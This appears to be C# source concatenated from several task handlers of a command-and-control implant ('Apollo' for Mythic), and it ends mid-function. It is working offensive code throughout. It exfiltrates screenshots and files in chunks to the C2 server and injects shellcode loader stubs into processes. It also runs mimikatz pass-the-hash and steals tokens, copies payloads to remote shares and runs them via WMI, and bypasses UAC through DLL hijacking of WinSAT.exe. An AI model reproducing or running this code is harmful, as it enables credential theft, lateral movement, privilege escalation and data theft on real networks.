/// <summary>
/// Send a chunked screenshot response to the Apfell server.
/// </summary>
/// <param name="implant">Agent that will be sending the data.</param>
/// <param name="task">Task associated with the screenshot.</param>
/// <param name="screenshot">Byte array of data that holds a chunked screenshot response.</param>
private static void SendCapture(Agent implant, Job job, byte[] screenshot)
{
Task task = job.Task;
try // Try block for HTTP request
{
// Send total number of chunks to Apfell server
// Number of chunks will always be one for screen capture task
// Receive file ID in response
// Send number of chunks associated with task to Apfell server
// Response will have the file ID to send file with
int totalChunks = (int)Math.Ceiling((double)screenshot.Length / (double)implant.Profile.ChunkSize);
ApolloTaskResponse registrationMessage = new ApolloTaskResponse()
{
task_id = task.id,
total_chunks = totalChunks,
full_path = task.id
};
//SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + total_chunks + ", \"task\": \"" + task.id + "\"}");
job.AddOutput(registrationMessage);
MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(task.id);
if (resp.file_id == "")
{
job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was: {0}", resp.ToString()));
return;
}
// Convert chunk to base64 blob and create our FileChunk
for (int i = 0; i < totalChunks; i++)
{
ApolloTaskResponse fc = new ApolloTaskResponse();
fc.chunk_num = i + 1;
fc.file_id = resp.file_id;
fc.total_chunks = -1;
byte[] screenshotChunk = new byte[implant.Profile.ChunkSize];
if (implant.Profile.ChunkSize > screenshot.Length - (i * implant.Profile.ChunkSize))
{
Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, screenshot.Length - (i * implant.Profile.ChunkSize));
}
else
{
Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, implant.Profile.ChunkSize);
}
fc.chunk_data = Convert.ToBase64String(screenshot);
fc.task_id = task.id;
job.AddOutput(fc);
Inbox.GetMessage(task.id);
//Debug.WriteLine($"[-] SendCapture - RESPONSE: {implant.Profile.SendResponse(response)}");
}
}
catch (Exception e) // Catch exceptions from HTTP requests
{
// Something failed, so we need to tell the server about it
job.SetError($"Error: {e.Message}");
}
}
/// <summary>
/// Execute an arbitrary C# assembly in a sacrificial process
/// that respects the current caller's token.
/// </summary>
/// <param name="job">
/// Job associated with this task. job.Task.parameters
/// should contain a JSON structure with key "assembly" that
/// has an associated Apfell file ID to pull from the server.
/// This assembly is position-independent code generated from
/// donut with arguments baked in.
/// </param>
/// <param name="agent">Agent this task is run on.</param>
public static void Execute(Job job, Agent implant)
{
Task task = job.Task;
string sacrificialApplication;
string commandLine = "";
string command = "";
string loaderStubID;
string pipeName;
JObject json;
List <string> output = new List <string>();
/*
* Response from the server should be of the form:
* {
* "assembly_name": "registered assembly name",
* "loader_stub_id": "File ID of the loader stub",
* "pipe_name": "named pipe to connect to",
* "assembly_arguments": "command line arguments to send",
* }
*/
//ProcessWithAnonymousPipeIO sacrificialProcess = null;
SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
try
{
json = (JObject)JsonConvert.DeserializeObject(task.parameters);
}
catch (Exception ex)
{
task.status = "error";
task.message = $"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}";
return;
}
loaderStubID = json.Value <string>("loader_stub_id");
// Reset the loader stub each time as a new named pipe is given to us from on high.
loaderStub = null;
try
{
loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
}
catch (Exception ex)
{
task.status = "error";
task.message = $"Failed to fetch loader stub for PrintSpoofer. Reason: {ex.Message}.\nParameters:\n{task.parameters}";
return;
}
if (loaderStub == null || loaderStub.Length == 0)
{
job.Task.status = "error";
job.Task.message = String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID);
return;
}
pipeName = json.Value <string>("pipe_name");
if (string.IsNullOrEmpty(pipeName))
{
job.Task.status = "error";
job.Task.message = "No pipe name was given to DLL to start the named pipe server.";
return;
}
var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();
try
{
// Technically we don't need the named pipe IO, but this class already has implemented what we need for
// various token impersonation things, so why not.
//if (implant.HasAlternateToken())
//{
// sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, true, false);
//}
//else if (implant.HasCredentials())
//{
// sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, false, true);
//}
//else
//{
// sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED);
//}
// Deal with tokens later....
sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);
if (sacrificialProcess.Start())
{
job.ProcessID = (int)sacrificialProcess.PID;
job.sacrificialProcess = sacrificialProcess;
ApolloTaskResponse response; //= new SCTaskResp(job.Task.id, false, String.Format("Sacrificial process spawned with PID: {0}", sacrificialProcess.PID), "");
//implant.TryPostResponse(response);
////byte[] tempBytes = File.ReadAllBytes("C:\\Users\\Public\\helloworldsc_noargs.bin");
if (sacrificialProcess.Inject(loaderStub))
{
//sacrificialProcess.CreateNewRemoteThread(tempBytes);
//sacrificialProcess.ResumeThread();
// bool bRet = sacrificialProcess.StillActive();
NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);
pipeClient.Connect(30000);
StreamWriter writer;
try
{
writer = new StreamWriter(pipeClient);
command = json.Value <string>("command");
writer.Write(command);
writer.Flush();
using (StreamReader sr = new StreamReader(pipeClient))
{
//sr.ReadLine();
var line = sr.ReadLine();
while (line != null && line.ToUpper().Trim() != "EOF")
{
job.AddOutput(line);
line = sr.ReadLine();
}
}
if (pipeClient.IsConnected)
{
writer.Close();
}
job.SetComplete();
}
catch (Exception ex)
{
job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
}
}
else
{
job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
else
{
job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
catch (Exception ex)
{
if (sacrificialProcess != null)
{
job.SetError(String.Format("Error in PrintSpoofer (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
}
else
{
job.SetError(String.Format("Error in PrintSpoofer. Reason: {0}", ex.Message));
}
}
finally
{
if (!sacrificialProcess.HasExited)
{
sacrificialProcess.Kill();
}
}
}
public static void PassTheHash(Job job, Agent implant)
{
Task task = job.Task;
PassTheHashParameters taskParams;
string sacrificialApplication;
string commandLine = "";
string command = "\"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}\"";
string loaderStubID;
string pipeName;
int pidOfPTHProccess = -1;
JObject json;
List <string> output = new List <string>();
MythicCredential cred;
try
{
taskParams = JsonConvert.DeserializeObject <PassTheHashParameters>(job.Task.parameters);
}
catch (Exception ex)
{
job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}");
return;
}
cred = taskParams.credential;
if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential))
{
job.SetError("Username and password are required for pth.");
return;
}
if (cred.credential_type != "hash")
{
job.SetError($"pth built-in can only be used with hash-type (e.g., RC4 or NTLM) credentials, and was given credentials of type {cred.credential_type}");
return;
}
string userFQDN = cred.account;
if (string.IsNullOrEmpty(cred.realm))
{
job.SetError("pth requires a valid realm or domain to be set.");
return;
}
command = string.Format(command, new object[] { cred.account, cred.realm, cred.credential, taskParams.program });
byte[] loaderStub;
/*
* Response from the server should be of the form:
* {
* "assembly_name": "registered assembly name",
* "loader_stub_id": "File ID of the loader stub",
* "pipe_name": "named pipe to connect to",
* "assembly_arguments": "command line arguments to send",
* }
*/
//ProcessWithAnonymousPipeIO sacrificialProcess = null;
SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
// Reset the loader stub each time as a new named pipe is given to us from on high.
loaderStub = null;
try
{
loaderStub = implant.Profile.GetFile(task.id, taskParams.loader_stub_id, implant.Profile.ChunkSize);
}
catch (Exception ex)
{
job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
return;
}
if (loaderStub == null || loaderStub.Length == 0)
{
job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", taskParams.loader_stub_id));
return;
}
pipeName = taskParams.pipe_name;
if (string.IsNullOrEmpty(pipeName))
{
job.SetError("No pipe name was given to DLL to start the named pipe server.");
return;
}
var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();
try
{
sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);
if (sacrificialProcess.Start())
{
job.ProcessID = (int)sacrificialProcess.PID;
job.sacrificialProcess = sacrificialProcess;
ApolloTaskResponse response;
if (sacrificialProcess.Inject(loaderStub))
{
//sacrificialProcess.CreateNewRemoteThread(tempBytes);
//sacrificialProcess.ResumeThread();
// bool bRet = sacrificialProcess.StillActive();
NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);
pipeClient.Connect(30000);
StreamWriter writer;
try
{
writer = new StreamWriter(pipeClient);
writer.Write(command);
writer.Flush();
using (StreamReader sr = new StreamReader(pipeClient))
{
//sr.ReadLine();
var line = sr.ReadLine();
while (line != null && line.ToUpper().Trim() != "EOF")
{
if (line.Contains(" PID "))
{
string[] parts = line.Trim().Split(' ');
if (parts.Length != 5)
{
job.SetError($"No PID could be enumerated from the line: {line}");
break;
}
else
{
if (!int.TryParse(parts[4].Trim(), out pidOfPTHProccess))
{
job.SetError($"Failed to parse PID from: {parts[1].Trim()}");
break;
}
}
}
output.Add(line);
line = sr.ReadLine();
}
}
if (pipeClient.IsConnected)
{
writer.Close();
}
if (output.Count > 0)
{
job.AddOutput(output.ToArray());
output.Clear();
}
}
catch (Exception ex)
{
job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
}
if (pidOfPTHProccess != -1)
{
IntPtr procHandle;
IntPtr hStolenToken;
try
{
procHandle = System.Diagnostics.Process.GetProcessById((int)Convert.ToInt32(pidOfPTHProccess)).Handle;
}
catch (Exception ex)
{
throw new Exception($"Failed to acquire handle to process {pidOfPTHProccess}. Reason: {ex.Message}");
}
// Stores the handle for the original process token
hStolenToken = IntPtr.Zero; // Stores the handle for our duplicated token
// Get handle to target process token
bool bRet = OpenProcessToken(
procHandle, // ProcessHandle
(uint)(TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query), // desiredAccess
out IntPtr tokenHandle); // TokenHandle
if (!bRet)
{
throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}");
//return;
}// Check if OpenProcessToken was successful
if (!CredentialManager.SetImpersonatedPrimaryToken(tokenHandle))
{
throw new Exception($"Failed to set new primary token: {Marshal.GetLastWin32Error()}");
}
// Duplicate token as stolenHandle
bRet = DuplicateTokenEx(
tokenHandle, // hExistingToken
TokenAccessLevels.MaximumAllowed, /*.TOKEN_QUERY | TokenAccessRights.TOKEN_DUPLICATE | TokenAccessRights.TOKEN_ASSIGN_PRIMARY,*/ // dwDesiredAccess
IntPtr.Zero, // lpTokenAttributes
TokenImpersonationLevel.Impersonation, // ImpersonationLevel
TOKEN_TYPE.TokenImpersonation, // TokenType
out hStolenToken); // phNewToken
// end testing
if (!bRet) // Check if DuplicateTokenEx was successful
{
throw new Exception($"Failed to duplicate token handle: {Marshal.GetLastWin32Error()}");
}
////bRet = ImpersonateLoggedOnUser(tokenHandle);
//if (!bRet)
//{
// task.status = "error";
// task.message = $"Failed to impersonate logged on user: {Marshal.GetLastWin32Error()}";
//}
//CloseHandle(tokenHandle);
//CloseHandle(procHandle);
if (!CredentialManager.SetImpersonatedImpersonationToken(hStolenToken))
{
throw new Exception($"Failed to impersonate user. Reason: {Marshal.GetLastWin32Error()}");
}
else
{
WindowsIdentity ident = new WindowsIdentity(hStolenToken);
job.SetComplete($"\n\nSuccessfully impersonated {ident.Name}!");
ident.Dispose();
}
}
else
{
job.SetError("Failed to acquire PID of PTH process.");
}
}
else
{
job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
else
{
job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
catch (Exception ex)
{
if (sacrificialProcess != null)
{
job.SetError(String.Format("Error in PTH (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
}
else
{
job.SetError(String.Format("Error in PTH. Reason: {0}", ex.Message));
}
}
finally
{
if (!sacrificialProcess.HasExited)
{
sacrificialProcess.Kill();
}
}
}
/// <summary>
/// Download a file to the remote Apfell server.
/// </summary>
/// <param name="job">
/// Job associated with this task.
/// File to download is in job.Task.parameters
/// </param>
/// <param name="implant">Agent this task is run on.</param>
public static void Execute(Job job, Agent implant)
{
Task task = job.Task;
DownloadParameters dlParams;
string filepath = "";
string host = "";
string computerName = "";
try
{
computerName = Environment.GetEnvironmentVariable("COMPUTERNAME");
} catch { }
try
{
dlParams = JsonConvert.DeserializeObject <DownloadParameters>(task.parameters);
} catch (Exception ex)
{
job.SetError($"Failed to deserialize ");
return;
}
host = dlParams.host;
if (host != "")
{
if (host.ToLower() != "localhost" && host != "127.0.0.1" && host != "." && host != "::::" && host.ToLower() != computerName.ToLower())
{
filepath = $"\\\\{host}\\{dlParams.file}";
}
else
{
filepath = dlParams.file;
host = computerName;
}
}
else
{
filepath = dlParams.file;
host = computerName;
}
try // Try block for file upload task
{
// Get file info to determine file size
FileInfo fileInfo = new FileInfo(filepath);
long size = fileInfo.Length;
// Determine number of 512kb chunks to send
long total_chunks = size / 512000;
// HACK: Dumb workaround because longs don't have a ceiling operation
if (total_chunks == 0)
{
total_chunks = 1;
}
// Send number of chunks associated with task to Apfell server
// Response will have the file ID to send file with
ApolloTaskResponse registrationMessage = new ApolloTaskResponse()
{
task_id = task.id,
total_chunks = total_chunks,
full_path = fileInfo.FullName,
host = host
};
job.AddOutput(registrationMessage);
MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id);
if (resp.file_id == "")
{
job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString()));
return;
}
// Send file in chunks
for (int i = 0; i < total_chunks; i++)
{
byte[] chunk = null;
long pos = i * 512000;
// We need to use a FileStream in case our file size in bytes is larger than an Int32
// With a filestream, we can specify a position as a long, and then use Read() normally
using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
{
fs.Position = pos;
// If this is the last chunk, size will be the remaining bytes
if (i == total_chunks - 1)
{
chunk = new byte[size - (i * 512000)];
int chunkSize = chunk.Length;
fs.Read(chunk, 0, chunkSize);
}
// Otherwise we'll read 512kb from the file
else
{
chunk = new byte[512000];
fs.Read(chunk, 0, 512000);
}
}
// Convert chunk to base64 blob and create our FileChunk
ApolloTaskResponse fc = new ApolloTaskResponse()
{
chunk_num = i + 1,
file_id = resp.file_id,
task_id = job.Task.id,
chunk_data = Convert.ToBase64String(chunk),
total_chunks = -1
};
job.AddOutput(fc);
}
job.SetComplete($"Finished downloading file {filepath}");
}
catch (Exception e) // Catch any exception from file upload
{
job.SetError($"Exception occurred while downloading file: {e.Message}");
}
}
public static void Execute(Job job, Agent agent)
{
WMIProcessExecuteParameters parameters = (WMIProcessExecuteParameters)JsonConvert.DeserializeObject <WMIProcessExecuteParameters>(job.Task.parameters);
ApolloTaskResponse resp;
MythicCredential cred = new MythicCredential();
bool success;
byte[] templateFile;
string username = null;
string password = null;
string formattedRemotePath = null;
string fileGuid = Guid.NewGuid().ToString();
if (string.IsNullOrEmpty(parameters.computer))
{
job.SetError("No computer name passed.");
return;
}
if (string.IsNullOrEmpty(parameters.template))
{
job.SetError("No template was given to download.");
return;
}
if (!string.IsNullOrEmpty(parameters.credential))
{
cred = JsonConvert.DeserializeObject <MythicCredential>(parameters.credential);
}
string remotePath = parameters.remote_path;
if (string.IsNullOrEmpty(parameters.remote_path))
{
formattedRemotePath = $"\\\\{parameters.computer}\\C$\\Users\\Public\\{fileGuid}.exe";
remotePath = $"C:\\Users\\Public\\{fileGuid}.exe";
}
else
{
if (Directory.Exists(parameters.remote_path))
{
parameters.remote_path = Path.Combine(parameters.remote_path, $"{fileGuid}.exe");
}
remotePath = parameters.remote_path;
//formattedRemotePath = $"\\\\{parameters.computer}\\{parameters.remote_path.Replace(':', '$')}";
}
try
{
templateFile = agent.Profile.GetFile(job.Task.id, parameters.template, agent.Profile.ChunkSize);
}
catch (Exception ex)
{
job.SetError($"Error fetching remote file: {ex.Message}");
return;
}
if (templateFile == null || templateFile.Length == 0)
{
job.SetError($"File ID {parameters.template} was of zero length.");
return;
}
try
{
File.WriteAllBytes(remotePath, templateFile);
resp = new ApolloTaskResponse(job.Task, $"Copied payload to {remotePath}");
job.AddOutput(resp);
}
catch (Exception ex)
{
job.SetError($"Remote file copy to {remotePath} failed. Reason: {ex.Message}");
return;
}
if (!string.IsNullOrEmpty(cred.account))
{
username = cred.account;
if (!string.IsNullOrEmpty(cred.realm))
{
username = cred.realm + "\\" + username;
}
password = cred.credential;
}
success = WMIUtils.RemoteWMIExecute(parameters.computer, remotePath, out string[] results, username, password);
job.SetComplete(string.Join("\n", results));
}
static void ExecuteAssembly(Job job, Agent implant)
{
Task task = job.Task;
string sacrificialApplication;
string commandLine = "";
string loaderStubID;
string pipeName;
string assemblyName;
string[] assemblyArguments;
byte[] assemblyBytes = null;
//List<string> output = new List<string>();
/*
* Response from the server should be of the form:
* {
* "assembly_name": "registered assembly name",
* "loader_stub_id": "File ID of the loader stub",
* "pipe_name": "named pipe to connect to",
* "assembly_arguments": "command line arguments to send",
* }
*/
SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters);
assemblyName = json.Value <string>("assembly_name");
if (!loadedAssemblies.ContainsKey(assemblyName))
{
job.SetError(String.Format("Assembly {0} has not been loaded. Please load the assembly with the 'register_assembly' command.", assemblyName));
return;
}
loaderStubID = json.Value <string>("loader_stub_id");
// Reset the loader stub each time as a new named pipe is given to us from on high.
loaderStub = null;
loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
if (loaderStub == null || loaderStub.Length == 0)
{
job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID));
return;
}
pipeName = json.Value <string>("pipe_name");
if (pipeName == "")
{
job.SetError("No pipe name was given to send the assembly to execute.");
return;
}
assemblyArguments = SplitCommandLine(json.Value <string>("assembly_arguments"));
assemblyBytes = GetAssembly(assemblyName);
var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();
try
{
sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);
ApolloTaskResponse artifactResp;
if (sacrificialProcess.Start())
{
job.ProcessID = (int)sacrificialProcess.PID;
job.sacrificialProcess = sacrificialProcess;
if (sacrificialProcess.Inject(loaderStub))
{
NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);
pipeClient.Connect(30000);
// Method 1
BinaryFormatter bf = new BinaryFormatter();
bf.Binder = new AssemblyJobMessageBinder();
bf.Serialize(pipeClient, new AssemblyJobMessage()
{
AssemblyBytes = assemblyBytes,
Args = assemblyArguments,
});
try
{
using (StreamReader sr = new StreamReader(pipeClient))
{
//sr.ReadLine();
while (!sr.EndOfStream)
{
var line = sr.ReadLine();
if (line != null)
{
job.AddOutput(line);
}
}
}
}
catch (Exception ex)
{
job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
return;
}
job.SetComplete("");
}
}
else
{
job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
}
catch (Exception ex)
{
if (sacrificialProcess != null)
{
job.SetError(String.Format("Error in execute-assembly (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
}
else
{
job.SetError(String.Format("Error in execute-assembly. Reason: {0}", ex.Message));
}
}
finally
{
if (!sacrificialProcess.HasExited)
{
sacrificialProcess.Kill();
}
}
}
static void AssemblyInject(Job job, Agent implant)
{
Task task = job.Task;
string commandLine = "";
string loaderStubID;
string pipeName;
string assemblyName;
string[] assemblyArguments;
int pid = -1;
byte[] assemblyBytes = null;
string processName = "";
/*
* Response from the server should be of the form:
* {
* "assembly_name": "registered assembly name",
* "loader_stub_id": "File ID of the loader stub",
* "pipe_name": "named pipe to connect to",
* "assembly_arguments": "command line arguments to send",
* "pid: 1024
* }
*/
JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters);
assemblyName = json.Value <string>("assembly_name");
if (!loadedAssemblies.ContainsKey(assemblyName))
{
job.SetError(String.Format("Assembly {0} has not been loaded. Please load the assembly with the 'loadassembly' command.", assemblyName));
return;
}
loaderStubID = json.Value <string>("loader_stub_id");
// Reset the loader stub each time as a new named pipe is given to us from on high.
loaderStub = null;
loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize);
if (loaderStub == null || loaderStub.Length == 0)
{
job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID));
return;
}
pipeName = json.Value <string>("pipe_name");
if (pipeName == "")
{
job.SetError("No pipe name was given to send the assembly to execute.");
return;
}
pid = json.Value <int>("pid");
if (pid == null || pid < 0)
{
job.SetError("Failed to parse PID.");
return;
}
job.ProcessID = pid;
try
{
var tempProc = System.Diagnostics.Process.GetProcessById(pid);
processName = tempProc.ProcessName;
}
catch (Exception ex)
{
job.SetError($"Could not retrieve information on PID {pid}. Reason: {ex.Message}");
return;
}
assemblyArguments = SplitCommandLine(json.Value <string>("assembly_arguments"));
assemblyBytes = GetAssembly(assemblyName);
try
{
var injectionType = Injection.InjectionTechnique.GetInjectionTechnique();
var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loaderStub, (uint)pid });
//Injection.CreateRemoteThreadInjection crt = new Injection.CreateRemoteThreadInjection(loaderStub, (uint)pid);
if (injectionHandler.Inject())
{
NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);
pipeClient.Connect(30000);
//assemblyBytes = File.ReadAllBytes("C:\\Users\\windev\\Desktop\\Seatbelt.exe");
//assemblyArguments = new string[] { "user" };
// Method 1
BinaryFormatter bf = new BinaryFormatter();
bf.Binder = new AssemblyJobMessageBinder();
bf.Serialize(pipeClient, new AssemblyJobMessage()
{
AssemblyBytes = assemblyBytes,
Args = assemblyArguments,
});
try
{
List <string> output = new List <string>();
using (StreamReader sr = new StreamReader(pipeClient))
{
//sr.ReadLine();
while (!sr.EndOfStream)
{
var line = sr.ReadLine();
if (line != null)
{
job.AddOutput(line);
}
}
}
}
catch (Exception ex)
{
job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
}
job.SetComplete("");
}
}
catch (Exception ex)
{
job.SetError($"Error while injecting assembly: {ex.Message}");
}
}
/// <summary>
/// Run an arbitrary executable with command line arguments or
/// run a shell command via cmd.exe /c.
/// </summary>
/// <param name="job">
/// Job associated with this task. If the task is "shell" then
/// the application to launch will be cmd.exe with job.Task.parameters
/// specifying the shell command to execute. Otherwise, the application
/// to launch is given by the first space-delimited argument in
/// job.Task.parameters.
/// </param>
/// <param name="implant">Agent associated with this job.Task.</param>
public static void Execute(Job job, Agent implant)
{
SacrificialProcesses.SacrificialProcess sacrificialProcess = null;
string applicationName;
string commandLine = ""; // Probably can implement some argument spoofing stuff down the line
string cmdString;
ApolloTaskResponse response;
string originalParams = job.Task.parameters.Trim();
string[] split = SplitCommandLine(job.Task.parameters.Trim());
//applicationName = split[0];
if (job.Task.command == "shell")
{
applicationName = "cmd.exe";
commandLine += String.Format("/c \"{0}\"", split[0]);
}
else
{
applicationName = split[0];
}
if (split.Length > 1)
{
int firstIndex = originalParams.IndexOf(split[0]);
string subsequentArgs = "";
switch (firstIndex)
{
case 0:
subsequentArgs = originalParams.Substring(split[0].Length).Trim();
break;
case 1:
if (originalParams[0] == '"' && originalParams[split[0].Length + 1] != '"')
{
job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}");
return;
}
else if (originalParams[0] == '\'' && originalParams[split[0].Length + 1] != '\'')
{
job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}");
return;
}
else
{
subsequentArgs = originalParams.Substring(split[0].Length + 2).Trim();
}
break;
default:
job.SetError($"Invalid command line format. Expected first command line argument to be program or program enclosed in quotes, but instead got {split[0]}");
return;
}
if (commandLine != "")
{
commandLine += String.Format(" {0}", subsequentArgs);
}
else
{
commandLine = subsequentArgs;
}
cmdString = String.Format("{0} {1}", applicationName, commandLine);
}
else if (commandLine != "")
{
cmdString = String.Format("{0} {1}", applicationName, commandLine);
}
else
{
cmdString = applicationName;
}
try
{
sacrificialProcess = new SacrificialProcesses.SacrificialProcess(applicationName, commandLine);
sacrificialProcess.OutputDataReceived = delegate(string data)
{
job.AddOutput(data);
};
sacrificialProcess.ErrorDataReceived = delegate(string data)
{
job.AddOutput(data);
};
if (sacrificialProcess.Start())
{
job.ProcessID = (int)sacrificialProcess.PID;
job.sacrificialProcess = sacrificialProcess;
sacrificialProcess.WaitForExit();
}
else
{
job.SetError($"Failed to start sacrificial process. GetLastError(): {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
}
} catch (Exception ex)
{
if (sacrificialProcess != null)
{
job.SetError(String.Format("Error in executing \"{0}\" (PID: {1}). Reason: {2}", cmdString, sacrificialProcess.PID, ex.Message));
}
else
{
job.SetError(String.Format("Error in executing \"{0}\". Reason: {1}", cmdString, ex.Message));
}
}
if (sacrificialProcess != null)
{
if (sacrificialProcess.ExitCode == 0 && sacrificialProcess.PID != 0)
{
job.SetComplete(String.Format("Process executed \"{0}\" with PID {1} and returned exit code {2}", cmdString, sacrificialProcess.PID, sacrificialProcess.ExitCode));
}
else
{
job.SetError($"Unknown error. Exit code: {sacrificialProcess.ExitCode} from PID: {sacrificialProcess.PID}");
}
}
}
public static void Execute(Job job, Agent implant)
{
Task task = job.Task;
string computer = task.parameters.Trim();
if (string.IsNullOrEmpty(computer))
{
job.SetError("No computer given to list.");
return;
}
try
{
NetShareInformation[] results = GetComputerShares(computer);
if (results.Length > 0)
{
foreach (NetShareInformation share in results)
{
DirectoryInfo pathDir;
try
{
pathDir = new DirectoryInfo($"\\\\{share.ComputerName}\\{share.ShareName}");
} catch (Exception ex)
{
continue;
}
FileBrowserResponse resp;
if (share.Readable)
{
resp = new FileBrowserResponse()
{
host = share.ComputerName,
is_file = false,
permissions = GetPermissions(pathDir),
name = pathDir.Name,
parent_path = pathDir.Parent != null ? pathDir.Parent.FullName : "",
success = true,
access_time = pathDir.LastAccessTimeUtc.ToString(),
modify_time = pathDir.LastWriteTimeUtc.ToString(),
size = 0,
files = new FileInformation[0]
};
}
else
{
resp = new FileBrowserResponse()
{
host = share.ComputerName,
is_file = false,
permissions = GetPermissions(pathDir),
name = pathDir.Name,
parent_path = pathDir.Parent != null ? pathDir.Parent.FullName : "",
success = true,
access_time = "",
modify_time = "",
size = 0,
files = new FileInformation[0]
};
}
job.AddOutput(resp);
}
}
job.SetComplete(results);
} catch (Exception ex)
{
job.SetError($"Failed to list shares. Reason: {ex.Message}");
}
}
public static void Execute(Job job, Agent agent)
{
Task task = job.Task;
string path = task.parameters;
BypassUacParams args = JsonConvert.DeserializeObject <BypassUacParams>(task.parameters);
var payloadBytes = agent.Profile.GetFile(task.id, args.Payload, agent.Profile.ChunkSize);
var bypassUacDllBytes = agent.Profile.GetFile(task.id, args.BypassDll, agent.Profile.ChunkSize);
if (payloadBytes == null || payloadBytes.Length == 0)
{
job.SetError($"Could not retrieve payload bytes: null or length is 0.");
return;
}
if (bypassUacDllBytes == null || bypassUacDllBytes.Length == 0)
{
job.AddOutput($"Could not retrieve bypass DLL bytes: null or length is 0.");
return;
}
//Disable filesystem redirection
IntPtr wow64Value = IntPtr.Zero;
Wow64DisableWow64FsRedirection(ref wow64Value);
if (!File.Exists(@"C:\Windows\system32\WinSAT.exe"))
{
job.SetError($"WinSAT.exe not found in the System32 folder. Bypassing not possible.");
Wow64RevertWow64FsRedirection(wow64Value);
return;
}
try
{
File.WriteAllBytes(Environment.ExpandEnvironmentVariables(args.TargetPath), payloadBytes);
}
catch (Exception e)
{
job.SetError($"Failed to write file to {args.TargetPath}. Reason: {e.Message}");
Wow64RevertWow64FsRedirection(wow64Value);
return;
}
var windir = @"C:\Windows ";
try
{
CreateMockDirectory(windir, @"WinSAT.exe", @"WINMM.dll", bypassUacDllBytes);
ShellExecute(windir + "\\System32\\WinSAT.exe", "mem -maxt 1");
Thread.Sleep(2000);
}
catch (Exception e)
{
job.SetError($"Error executing bypass. Reason: {e.Message}");
Wow64RevertWow64FsRedirection(wow64Value);
return;
}
var cleanupFailed = new List <string>();
if (!DeleteFileW(windir + @"\System32\winsat.exe"))
{
cleanupFailed.Add(windir + @"\System32\winsat.exe");
}
if (!DeleteFileW(windir + @"\System32\WINMM.dll"))
{
cleanupFailed.Add(windir + @"\System32\WINMM.dll");
}
if (!RemoveDirectory(@"\\?\" + windir + @"\System32\"))
{
cleanupFailed.Add(@"\\?\" + windir + @"\System32\");
}
if (!RemoveDirectory(@"\\?\" + windir + @"\"))
{
cleanupFailed.Add(@"\\?\" + windir + @"\");
}
Wow64RevertWow64FsRedirection(wow64Value);
if (cleanupFailed.Any())
{
job.SetError("BypassUac executed successfully. Failed to cleanup the following files: " + String.Join(", ", cleanupFailed.ToArray()));
}
else
{
